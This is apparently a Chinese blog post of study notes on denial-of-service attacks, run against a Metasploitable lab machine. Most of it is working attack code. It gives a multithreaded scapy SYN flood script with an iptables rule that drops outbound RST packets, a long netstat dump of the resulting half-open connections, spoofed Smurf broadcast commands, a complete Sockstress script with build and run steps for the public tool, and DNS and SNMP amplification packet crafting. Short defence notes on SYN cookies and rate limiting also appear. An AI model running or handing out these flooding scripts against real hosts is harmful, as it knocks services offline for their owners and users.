拒绝服务攻击

旧文迁移,DoS攻击,挺霸气的,不过也就学学原理。

现在发下拒绝服务的学习笔记,不知道这个攻击性如何,感觉要说大也大,要说小也小。。。。

简介


DoS 拒绝服务攻击:

  • 利用程序漏洞或是一对一资源耗尽的Denial of Service 拒绝服务
  • 它是一对一的,也是后续笔记中一直使用的,它的优点就是只需要一台攻击主机,缺点就是一对一拼资源,一般都拼不过。。。,而且好防御(拉黑)

DDoS分布式拒绝服务:

  • 多对一的攻击汇聚资源能力,重点在于量大,属于资源耗尽型,需要大量僵尸机发动攻击,危害巨大,难以防御。

历史

以前:

  • 欠缺技术能力的无赖,ping死目标,就是一直ping目标,拼资源

现在:

  • 最强大最危险的攻击,攻击方式众多(专业化的要求勒索)
  • 贩卖和租用肉鸡已经成为黑产中重要的一部分(攻击者可以租用僵尸机来发起攻击,也有人专门捕获肉鸡当僵尸机提供租用或是卖出)
  • 最终的解决办法就是拼资源(购买更大的流量,高级的FW,使用CDN)

Anonymous(匿名者)


世界上最著(sao)名(bao)的黑客组织,组织结构宽松,人员来自世界各地(外围就是直接使用它们开发的工具去打击目标),以DDoS攻击著称的无政府主义者,亦正亦邪,攻击恐怖组织也攻击政府宗教机构,近年来涉足政治斗争,成员漏面时均戴Guy Fawkes面具,最早的核心成员来自4chan图片社区,喜欢雇佣外围黑客成员发动DDoS攻击

DoS分类

D网络

基于巨量的流量耗尽目标的带宽资源
EG:ICMP Flood ,UDP Flood

D协议

攻击协议漏洞
EG:Syn Flood,Ping of Death,ARP,DNS,802.11,SSL

D应用

针对应用软件和操作系统漏洞发起的拒绝服务攻击
大量频繁访问消耗系统资源严重的应用
通常表现为操作系统运行正常,网络流量不大,但服务停止响应
可以是一击毙命,也可以是耗尽目标资源的。

资源耗尽型

网络:带宽
防火墙:吞吐量,并发连接
服务器:CPU,内存,I/O
应用:处理请求能力,对OS资源的使用权

程序漏洞攻击

缓冲区溢出
协议,程序逻辑漏洞

D协议-SYN-FLOOD:

TCP使用的三步握手:syn->syn,ack->ack这样连接就建立成功,若是服务端收到syn连接请求,发送确认连接syn,sck后却不能收到发起方的ack确认就会等待一段时间,若还没等到就会释放这个SYN。每个主机中的这个连接数是有限的,如果短时间内发起很多这种请求,目标还来不及释放就会占满连接数,这样就能接收其他正常的请求,造成拒绝服务。
这里的脚本使用了scapy,scapy是注入包的,和socket连接不一样,这种注入能够接收回包但是系统并不知情,所以当系统收到syn,sck时会感到莫名其妙,就会返回rst来终止连接建立,这样服务端就会立即释放SYN,这样就不能达到效果,所以这里用iptables drop掉发出的包:

1
iptables -A OUTPUT -p tcp --tcp-flags RST -d 192.168.0.104 -j DROP		#后面的地址即目标的ip地址

然后运行此脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python
# -*- coding: utf-8 -*-
# author:yuanfh
from scapy.all import *
from time import sleep
import thread
import random
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) != 4:
print "用法: ./syn_flood.py [IP地址] [端口] [线程数]"
print "举例: ./syn_flood.py 1.1.1.1 80 20"
sys.exit()

target = str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])

print "正在执行 SYN flood 攻击. 按 Ctrl+C 停止攻击."
def synflood(target,port):
while 0 == 0:
x = random.randint(0,65535)
send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)

for x in range(0,threads):
thread.start_new_thread(synflood, (target,port))

while 0 == 0:
sleep(1)

这是说明,按照说明来(这里的端口是任意开放的TCP端口):

这时检查目标的网络信息可以看到有大量的属于SYN_RECV状态的连接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
root@metasploitable:/home/msfadmin# netstat -pant |grep SYN
tcp 0 0 192.168.0.105:80 192.168.0.113:25985 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:13534 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:60430 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:20316 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:28467 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:15593 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:18074 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:35329 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:40508 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:24275 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:17895 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:24389 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:39708 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:48223 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:47906 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:47781 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:22078 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:11579 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:5926 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:35239 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:20820 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:60988 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:35686 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:60947 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:52141 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:59604 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:1465 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:50292 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:50328 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:16869 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:58311 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:12588 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:10397 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:15585 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:10330 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:13757 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:62107 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:37591 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:2047 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:7408 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:23027 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:10541 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:47153 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:58331 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:31139 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:49132 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:35712 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:30791 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:27496 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:4925 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:49855 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:40886 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:9966 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:12919 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:1488 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:54617 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:21201 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:1708 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:12659 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:63453 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:49085 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:9325 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:33067 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:43685 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:5116 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:47926 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:50520 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:6587 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:26411 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:61651 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:20834 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:31188 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:37900 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:27095 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:8933 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:9054 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:12107 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:29393 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:32094 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:64817 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:24167 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:5366 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:62175 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:23104 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:57771 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:30042 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:23028 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:7906 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:35648 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:49379 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:54483 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:58965 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:52060 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:52645 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:27645 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:4184 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:24153 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:56655 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:62452 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:32977 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:38782 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:65509 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:15055 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:18043 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:53615 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:9504 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:31837 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:54054 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:5668 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:47272 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:61660 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:36934 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:40928 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:33215 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:44270 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:12082 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:8881 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:57600 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:32885 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:62705 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:13356 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:2656 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:58236 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:53585 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:8251 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:5532 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:14665 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:43086 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:29686 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:19241 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:16803 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:36718 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:18857 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:23136 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:41016 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:42724 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:30874 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:25469 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:7742 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:64852 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:39046 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:56599 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:37873 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:12361 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:13795 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:56366 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:40683 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:13893 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:28831 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:31913 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:3668 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:61634 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:33246 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:52132 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:63074 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:13288 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:64498 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:5332 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:29015 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:45574 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:64287 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:61524 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:33335 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:18858 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:37633 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:51185 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:6355 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:51251 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:7779 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:3567 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:2033 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:36635 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:20579 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:5592 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:27152 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:63544 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:2888 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:33376 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:46701 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:40826 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:5083 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:32472 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:7949 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:21966 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:6867 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:7209 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:63181 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:32328 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:28747 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:20741 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:61427 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:20831 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:14401 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:37282 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:51971 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:21591 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:24717 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:47443 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:37710 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:39436 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:34167 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:44253 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:28099 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:35870 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:44375 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:61070 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:11384 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:44993 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:12290 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:17368 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:9593 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:60924 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:34286 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:64118 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:55635 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:32025 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:17243 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:28615 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:37213 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:19100 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:21126 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:46437 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:41215 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:34230 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:64100 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:47777 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:41149 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:54150 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:42845 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:39128 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:23839 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:49604 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:49414 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:39165 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:18544 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:41373 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:23161 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:42120 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:50992 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:65392 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:6801 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:27734 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:53832 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:45444 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:49782 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:52752 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:7997 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:14232 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:53078 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:1415 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:50357 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:38587 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:2776 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:28044 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:59830 SYN_RECV -
tcp 0 0 192.168.0.105:80 192.168.0.113:9998 SYN_RECV -

一段时间后,会发现目标已经无法打开了:

这是攻击前后SYN连接数对比:

防御方式:

SYN Cookie:它是对TCP服务器端的三次握手协议作一些修改,专门用来防范SYN Flood攻击的一种手段。它的原理是,在TCP服务器收到TCP SYN包并返回TCP SYN+ACK包时,不分配一个专门的数据区,而是根据这个SYN包计算出一个cookie值。在收到TCP ACK包时,TCP服务器在根据那个cookie值检查这个TCP ACK包的合法性。如果合法,再分配专门的数据区进行处理未来的TCP连接。

Smurf 攻击


IP地址欺骗

经常用于DoS攻击,根据IP头地址寻址,伪造IP源地址
策略:出站,入站路由过滤
特点:

  • 受害者可能是源地址,也可能是目的地址(例如Syn-flood攻击为目的地址,本文介绍的Smurf为源地址)
  • 能够绕过基于地址的验证(DoS攻击中)

原理:
用户发出的数据包是可控的,用户可以根据需要自己定制数据包,当然挑战是保证功能正常实现,由于udp是面向无连接的没有三步握手的确认过程,ip伪造可以轻易生效而被利用作攻击.

smurf

D协议:世界上最古老的DDoS攻击技术,对现代操作系统几乎无效。
原理:

向局域网中发送广播包,这时局域网内所有主机都会接收数据,发ping包就都会做出响应(现在的操作系统不会了)
这样若局域网中还多了1000台主机,那么自己发送一个数据包将会收到1000个响应数据包,如果更改源地址为受害者的地址,那么1000个数据包就会流向受害者,形成DDoS攻击。

手工命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
	scapy
i=IP()
i.dst="1.1.1.255"
p=ICMP()
p.display()
r=(i/p)
send(IP(dst="1.1.1.255",src="1.1.1.2")/ICMP(),count=100,verbose=1)
```
## Sockstress
--------------------
D协议:针对TCP服务的拒绝服务攻击
原理:

消耗被攻击目标系统资源,与攻击目标建立大量的socket连接(完成了三步握手),最后的ACK包window大小为0,这样目标系统就会等待挂起等待发送方window不为0时接收数据,而发送方(攻击者)一直发送window为0这样就会使目标挂起很多这种完整的socket来消耗系统资源。而攻击者只需要付出很小的代价(一段时间后发送一个ack表示连接还要维持)。攻击者资源消耗小,异步攻击,单击可拒绝服务高配置的资源服务器,现在还很有效。

攻击:
```sh
#!/usr/bin/python
# -*- coding: utf-8 -*-
# author:yuanfh

from scapy.all import *
from time import sleep
import thread
import logging
import os
import signal
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) != 4:
print "用法: ./sock_stress.py [目标IP] [端口] [线程数]"
print "举例: ./sock_stress.py 10.0.0.5 21 20 ## 请确定被攻击端口处于开放状态"
sys.exit()

target = str(sys.argv[1])
dstport = int(sys.argv[2])
threads = int(sys.argv[3])

## 攻击函数
def sockstress(target,dstport):
while 0 == 0:
try:
x = random.randint(0,65535)
response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags ='S'),timeout=1,verbose=0)
send(IP(dst=target)/ TCP(dport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0)
except:
pass

## 停止攻击函数
def shutdown(signal, frame):
print '正在恢复 iptables 规则'
os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
sys.exit()

## 添加iptables规则
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
signal.signal(signal.SIGINT, shutdown)

## 多线程攻击
print "\n攻击正在进行...按 Ctrl+C 停止攻击"
for x in range(0,threads):
thread.start_new_thread(sockstress, (target,dstport))

## 永远执行
while 0 == 0:
sleep(1)



这是网上漏洞发现者写的攻击脚本
下载地址:https://github.com/defuse/sockstress
C写的,需要先解压,进入目录后编译

1
2
gcc -Wall -c sockstress.c 
gcc -pthread -o sockstress sockstress.o

1
2
./sockstress 1.1.1.1:80 eth0 
./sockstress 1.1.1.1:80 eth0 -p payloads/http


同样需要添加防火墙规则(如上图,如果没有防火墙丢弃rst,这会无效)

1
iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 1.1.1.1 -j DROP

防御方式:
对于Dos攻击,可以用一下方式缓解,对于DDoS无效!

1
2
iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update -seconds 30 --hitcount 10 -j DROP

放大攻击


D协议:UDP放大攻击
原理:

UDP协议是无状态的,不需要三次握手过程;IP地址可以伪造;对某些协议,小量的请求将收到大量的响应(放大)。

DNS放大攻击

方式:伪造源地址想DNS服务器发送查询请求,DNS将会返回大量的信息给源IP(受害者)。
效果:
先使用dig查找一些返回数据比较大的域名。
dig ANY hp.com


可见,这里放大了6倍!
scapy:
使用苑老师的构造数据包方法:

(在实验时可以不用设置i.src,默认就是本机,这样便于抓包查看效果。)

SNMP放大攻击

和DNS差不多,简单网络管理协议也会返回大量的信息,这里还能设置查询次数(可是数据量翻倍)
准备:
先安装实验环境,如图,先添加snmp服务,然后为服务设置一个community(相当于账号)。


这样服务就搭建好了。
还是使用苑老师的数据包构造方式(这里没有为源地址赋值,在实际操作中需要赋为受害者ip)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Scapye
i=IP()
i.dst="192.168.163.140"
i.display()
u=UDP()
u.dport=161
u.sport=161
b=SNMPbulk()
b.display()
s=SNMP()
s.community="hiahiahia"
s.display()
b.varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID(' 1.3.6.1.2.1.19.1.3'))]
s.PDU=b
s.display()
u.display()
r=(i/u/s)
r.display()
sr1(r)



